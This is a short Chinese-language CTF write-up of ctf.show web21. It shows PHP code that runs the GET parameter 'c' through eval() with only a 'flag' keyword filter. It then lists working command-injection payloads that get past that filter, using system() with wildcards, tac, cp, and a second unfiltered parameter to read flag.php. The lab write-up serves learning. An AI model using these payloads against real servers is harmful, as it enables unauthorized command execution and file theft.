我的第一道命令执行

题目: ctf.show web21

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

正则表达式会匹配 flag ,忽略大小写。如果 GET 请求的参数 c 中含有 flag ,便无法利用 eval 执行命令。

对此,先用 ls 命令看看目录里有什么:

1
?c=system(ls);

tips

  • system() 函数:可执行操作系统命令,实时输出结果到浏览器/终端。

  • 此处 ls 命令无空格,所以可以不加引号,但依旧建议使用 system() 函数时给命令加上引号。

  • 我的浏览器会自动 URL 转码,所以此处没转码。

目录中有两个文件: index.phpflag.php ,此时可以通过多种方式得到 flag.php 的内容:

方法一:

1
?c=system('cat fl*g.php');

通过通配符 * 绕过正则表达式,直接查看文件内容。但文件开头有个 <?php ,其中 < 会导致 HTML 解析异常,文件内容不会直接显示在网页中,要查看源码才能看到。

对此,作出如下改进:

1
?c=system('tac fl*g.php');

tac 命令从末行开始输出,最后输出首行,虽然 <?php 无法正常在网页中显示,但其他行全部正常显示。

方法二:

1
?c=system('cp fl*g.php a.txt');

通过 cp 命令复制一个新的文件 a.txt ,然后尝试通过 URL 访问该文件,成功。

方法三:

1
?c=echo file_get_contents($_GET[a]);&a=flag.php

代码只过滤了 GET 请求的参数 c ,未过滤其它参数,所以此处设定参数 aflag.php 然后再读取 $_GET[a] 能够绕过过滤。不过,同方法一的问题,文件内容在源码里,要开 F12 。

提醒一下自己,URL 传参没必要给每个参数的值加引号。